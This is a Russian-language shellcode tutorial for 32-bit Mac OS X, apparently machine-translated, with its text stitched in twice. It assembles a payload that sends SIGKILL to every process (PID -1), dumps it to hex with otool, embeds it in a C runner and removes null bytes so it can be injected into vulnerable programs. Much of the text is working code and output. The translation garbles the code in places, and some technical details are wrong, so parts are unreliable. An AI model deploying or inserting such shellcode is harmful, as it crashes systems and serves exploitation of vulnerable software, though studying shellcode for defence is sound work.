Практически каждый учебник по написанию шелл-кода, как правило, начинается с примера попыток использовать какой-либо системный вызов в мнемоническом коде ассемблера, переводить его в шестнадцатеричные значения и, как следствие, внедрить в язык C или, что лучше, нецеленаправленно в каком-либо приложении уязвимости. Исходя из этого, это краткое введение действительно будет посвящено обработчику вызовов sys. Краткое описание нашей среды: mac os x (ядро darwin), пакет xcode (включая такие инструменты разработки, как: компилятор языка GNU C / C ++, отладчик GNU, otool, ассемблер nasm, компоновщик и т. Д.). Во время ежедневной работы под Macintosh OS мы увидим некоторые тонкие различия в ie. архитектура ядра, управление ресурсами, обработчики прерываний, доступ к виртуальной памяти и другие. Итак, прежде всего, основная цель этого «учебного» приложения шеллкода, конечно,
ПРИМЕЧАНИЕ. Коды, представленные в этой статье, не будут совместимы с Mac OS PPC (Power PC x86 64), но будут работать под управлением BSD или Solaris. Если вы не уверены, проверьте прежде (например, по команде: uname -a)
Darwin lukas_ 9.8.0 Darwin Kernel Версия 9.8.0: Ср 15 июля, 16:55:01 PDT 2009; root: xnu-1228.15.4 ~ 1 / RELEASE_I386 i386.
Прежде всего, мы должны выяснить, где находится наша таблица системных вызовов.
#less /usr/include/sys/syscall.h
КОД:
или немного проще:
sh-3.2 # cat /usr/include/sys/syscall.h | egrep -i sys_kill
КОД:
Ниже приведен пример мнемонического кода для вызова метода sys_kill.
КОД:
в начале мы определяем наши отдельные разделы (сегменты) в направлении текста и данных и глобальной переменной, т.е. открывающая метка: _start
после этого, мы сосредотачиваемся на определенных частях кода сборки, которые отправляют сигнал sys_kill определенному идентификатору процесса (в этом примере всем запущенным процессам и службам), используя режим ядра.
КОД:
Первые две строки сбрасывают регистр % eax и помещают в стек шестнадцатеричное значение 0x09, что является синонимом для помещения того же значения в регистр EBX, и это означает число сигналов - в этом примере SIGKILL.
Далее мы сообщаем, какой идентификатор процесса нам нужно завершить. Значение -1 означает каждый запущенный процесс, включая дочерние процессы, запущенные другими. Теперь еще раз сбросим регистр eax, добавим к системному номеру вызова регистра AL (37) и вызовем прерывание ядра 0x80.
sh-3.2 # nasm -f macho killer.asm
ПРИМЕЧАНИЕ. mach-O - это исполняемый формат для 32-битной операционной системы Mac, аналогичный ELF в Linux.
sh-3.2 # ld -o killer killer.o
ld: не удалось найти «начало» точки входа (возможно, отсутствует crt1.o) для предполагаемой архитектуры i386
Уппс, у нас проблема - Это если первая привычка для пользователей с опытом работы в Linux - _start является точкой входа, но не для программы компоновщика под Mac. Как это решить? У нас есть как минимум два разных метода. Первое - это изменение имени метки на start (вместо _start, которое мы определили) непосредственно в исходном коде. Во-вторых, мы можем использовать определенный переключатель прямо из командной строки.
sh-3.2 # ld -e _start -o killer killer.o
Теперь вы можете попробовать, как работает наш шедевр. И еще одно внимание - лучше не запускать его, когда вы вошли в систему как root, если только вы не хотите перезагружать свой компьютер, потому что выполнение этого кода может иметь непредсказуемые последствия. Но есть одна неточность. Но прежде чем я расскажу более подробно, давайте попробуем разобрать наш двоичный файл, создать простой шелл-код и встроить в язык Си.
sh-3.2# objdump -d killer
sh: objdump: command not found
Забудьте об этом. Мы должны познакомиться с другим инструментом, на самом деле otool. (я рекомендую сначала посмотреть страницу руководства).
sh-3.2 # otool -tv
CODE:
и наш код языка C с встроенным шелл-кодом, полученный с помощью otool (см. выше)
CODE:
Но в этот момент возникла небольшая проблема. Так называемое золотое правило написания шелл кодов гласит, что нулевые байты недопустимы. Если бы нам пришлось использовать этот шелл-код в какой-нибудь уязвимой программе, это не сработало бы. Нулевой байт считается концом строки. Но прежде чем я покажу, как избавиться от них из нашего кода, наиболее уместным было бы объяснить, откуда они на самом деле. Давайте еще раз посмотрим на код дизассемблирования, но теперь используем более эффективный отладчик.
sh-3.2 # gdb killer
GNU gdb 6.3.50-20050815 (версия Apple gdb-960) (воскресенье, 18 мая 18:38:33 UTC 2008)
Copyright 2004 Free Software Foundation, Inc.
GDB - это свободное программное обеспечение, охватываемое GNU General Общественная лицензия, и вы
добро пожаловать изменить его и / или распространять его копии при определенных условиях.
Введите «показать копирование», чтобы увидеть условия.
На GDB нет абсолютно никаких гарантий. Напечатайте «показать гарантию» для деталей.
Эта GDB была настроена как «i386-apple-darwin»… Чтение символов для общих библиотек.
код выполнено :
Если мы исследуем код и сравним места, где появляются нулевые байты, мы увидим, что они встречаются ровно три раза, и ровно после этого мы помещаем номер сигнала в стек. Как вы наверняка помните, мы использовали для этого специальный регистр EAX. Но% eax имеет 32-битную величину, и мы выделили только одно шестнадцатеричное значение, равное 8 битам. Так где же остальные 24 бита? Да, как вы уже догадались, в этих трех нулевых байтах - каждый представляет 8 бит и пуст. Как это исправить? Я удивлю тебя, это проще, чем ты думаешь. Рассмотрим следующий пример.
КОД:
Поэтому замените строку «push 0x09» в коде выше и проверьте результаты.
sh-3.2# otool -t killer
CODE :
ПРИМЕЧАНИЕ. Коды, представленные в этой статье, не будут совместимы с Mac OS PPC (Power PC x86 64), но будут работать под управлением BSD или Solaris. Если вы не уверены, проверьте прежде (например, по команде: uname -a)
Darwin lukas_ 9.8.0 Darwin Kernel Версия 9.8.0: Ср 15 июля, 16:55:01 PDT 2009; root: xnu-1228.15.4 ~ 1 / RELEASE_I386 i386.
Прежде всего, мы должны выяснить, где находится наша таблица системных вызовов.
#less /usr/include/sys/syscall.h
КОД:
Код:
IfNDef _SYS_SYSCALL_H_
#define _SYS_SYSCALL_H_
#include
#ifdef __APPLE_API_PRIVATE
#define SYS_syscall 0
#define SYS_exit 1
#define SYS_fork 2
#define sys_read 3
#define sys_write 4
#define sys_open 5
#define sys_close 6
#define SYS_wait4 7
(...)
#define sys_kill 37
или немного проще:
sh-3.2 # cat /usr/include/sys/syscall.h | egrep -i sys_kill
КОД:
#define SYS_kill 37
Ниже приведен пример мнемонического кода для вызова метода sys_kill.
КОД:
Код:
section .data
section .text
global _start
_start:
xor eax, eax
push 0x09
mov eax, -1
push eax
xor eax, eax
mov al, 37
push eax
int 0x80
в начале мы определяем наши отдельные разделы (сегменты) в направлении текста и данных и глобальной переменной, т.е. открывающая метка: _start
после этого, мы сосредотачиваемся на определенных частях кода сборки, которые отправляют сигнал sys_kill определенному идентификатору процесса (в этом примере всем запущенным процессам и службам), используя режим ядра.
КОД:
Код:
37 - число системных вызовов - sys_kill (сравните с приведенной выше таблицей системных вызовов)
EBX = номер PID (см. Спецификацию ниже)
ECX =
ответ идентификатора сигнала :
ничего
EAX = ошибка EINVAL, EPERM, ESRCH
Первые две строки сбрасывают регистр % eax и помещают в стек шестнадцатеричное значение 0x09, что является синонимом для помещения того же значения в регистр EBX, и это означает число сигналов - в этом примере SIGKILL.
Далее мы сообщаем, какой идентификатор процесса нам нужно завершить. Значение -1 означает каждый запущенный процесс, включая дочерние процессы, запущенные другими. Теперь еще раз сбросим регистр eax, добавим к системному номеру вызова регистра AL (37) и вызовем прерывание ядра 0x80.
sh-3.2 # nasm -f macho killer.asm
ПРИМЕЧАНИЕ. mach-O - это исполняемый формат для 32-битной операционной системы Mac, аналогичный ELF в Linux.
sh-3.2 # ld -o killer killer.o
ld: не удалось найти «начало» точки входа (возможно, отсутствует crt1.o) для предполагаемой архитектуры i386
Уппс, у нас проблема - Это если первая привычка для пользователей с опытом работы в Linux - _start является точкой входа, но не для программы компоновщика под Mac. Как это решить? У нас есть как минимум два разных метода. Первое - это изменение имени метки на start (вместо _start, которое мы определили) непосредственно в исходном коде. Во-вторых, мы можем использовать определенный переключатель прямо из командной строки.
sh-3.2 # ld -e _start -o killer killer.o
Теперь вы можете попробовать, как работает наш шедевр. И еще одно внимание - лучше не запускать его, когда вы вошли в систему как root, если только вы не хотите перезагружать свой компьютер, потому что выполнение этого кода может иметь непредсказуемые последствия. Но есть одна неточность. Но прежде чем я расскажу более подробно, давайте попробуем разобрать наш двоичный файл, создать простой шелл-код и встроить в язык Си.
sh-3.2# objdump -d killer
sh: objdump: command not found
Забудьте об этом. Мы должны познакомиться с другим инструментом, на самом деле otool. (я рекомендую сначала посмотреть страницу руководства).
sh-3.2 # otool -tv
CODE:
Код:
killer:
(__TEXT,__text) section
_start:
00001fec xorl %eax,%eax
00001fee pushl $0x00000009
00001ff3 movl $0xffffffff,%eax
00001ff8 pushl %eax
00001ff9 xorl %eax,%eax
00001ffb movb $0x25,%al
00001ffd pushl %eax
00001ffe int $0x80
sh-3.2# otool -t killer
killer:
(__TEXT,__text) section
00001fec 31 c0 68 09 00 00 00 b8 ff ff ff ff 50 31 c0 b0
00001ffc 25 50 cd 80
и наш код языка C с встроенным шелл-кодом, полученный с помощью otool (см. выше)
CODE:
Код:
#include <unistd.h>
код символа [] = «x31 \ c0 \ x68 \ x09 \ x00 \ x00 \ x00 \ xb8 \ xff \ xff \ xff \ xff \ x50 \ x31 \ xc0 \ xb0 \ x25 \ x50 \ xcd \ x80” ;
int main (int argc, char ** argv)
{
/ * создание указателя на функцию * /
int (* func) ();
func = (int (*) ()) code;
(INT) (* FUNC) ();
}
Но в этот момент возникла небольшая проблема. Так называемое золотое правило написания шелл кодов гласит, что нулевые байты недопустимы. Если бы нам пришлось использовать этот шелл-код в какой-нибудь уязвимой программе, это не сработало бы. Нулевой байт считается концом строки. Но прежде чем я покажу, как избавиться от них из нашего кода, наиболее уместным было бы объяснить, откуда они на самом деле. Давайте еще раз посмотрим на код дизассемблирования, но теперь используем более эффективный отладчик.
sh-3.2 # gdb killer
GNU gdb 6.3.50-20050815 (версия Apple gdb-960) (воскресенье, 18 мая 18:38:33 UTC 2008)
Copyright 2004 Free Software Foundation, Inc.
GDB - это свободное программное обеспечение, охватываемое GNU General Общественная лицензия, и вы
добро пожаловать изменить его и / или распространять его копии при определенных условиях.
Введите «показать копирование», чтобы увидеть условия.
На GDB нет абсолютно никаких гарантий. Напечатайте «показать гарантию» для деталей.
Эта GDB была настроена как «i386-apple-darwin»… Чтение символов для общих библиотек.
код выполнено :
Код:
(gdb) disas start
Дамп кода ассемблера для запуска функции:
0x00001fec <start + 0>: xor% eax,% eax
0x00001fee <start + 2>: push $ 0x9
0x00001ff3 <start + 7>: mov $ 0xffffffff,% eax
0x00001ff8 <start + 12>: push% eax
0x00001ff9 <start + 13>: xor% eax,% eax
0x00001ffb <start + 15>: mov $ 0x25,% al
0x00001ffd <start + 17>: push% eax
0x00001ffe <start + 18 >: int $ 0x80
Конец дампа ассемблера.
(gdb) x / bx start + 0
0x1fec <start>: 0x31
(gdb) x / bx start + 1
0x1fed <start + 1>: 0xc0
(gdb) x / bx start + 2
0x1fee <start + 2>: 0x68
( gdb) x / bx start + 3
0x1fef <
(gdb) x / bx start + 4
0x1ff0 <start + 4>: 0x00
(gdb) x / bx start + 5
0x1ff1 <start + 5>: 0x00
(gdb) x / bx start + 6
0x1ff2 <start + 6>: 0x00
(gdb) x / bx start + 7
0x1ff3 <start + 7>: 0xb8
Если мы исследуем код и сравним места, где появляются нулевые байты, мы увидим, что они встречаются ровно три раза, и ровно после этого мы помещаем номер сигнала в стек. Как вы наверняка помните, мы использовали для этого специальный регистр EAX. Но% eax имеет 32-битную величину, и мы выделили только одно шестнадцатеричное значение, равное 8 битам. Так где же остальные 24 бита? Да, как вы уже догадались, в этих трех нулевых байтах - каждый представляет 8 бит и пуст. Как это исправить? Я удивлю тебя, это проще, чем ты думаешь. Рассмотрим следующий пример.
КОД:
Код:
mov al, 0x09
push eax
xor eax, eax
Поэтому замените строку «push 0x09» в коде выше и проверьте результаты.
sh-3.2# otool -t killer
CODE :
Код:
killer:
(__TEXT,__text) section
00001fec 31 c0 b0 09 50 31 c0 b8 ff ff ff ff 50 31 c0 b0
00001ffc 25 50 cd 80
Ссылка скрыта от гостей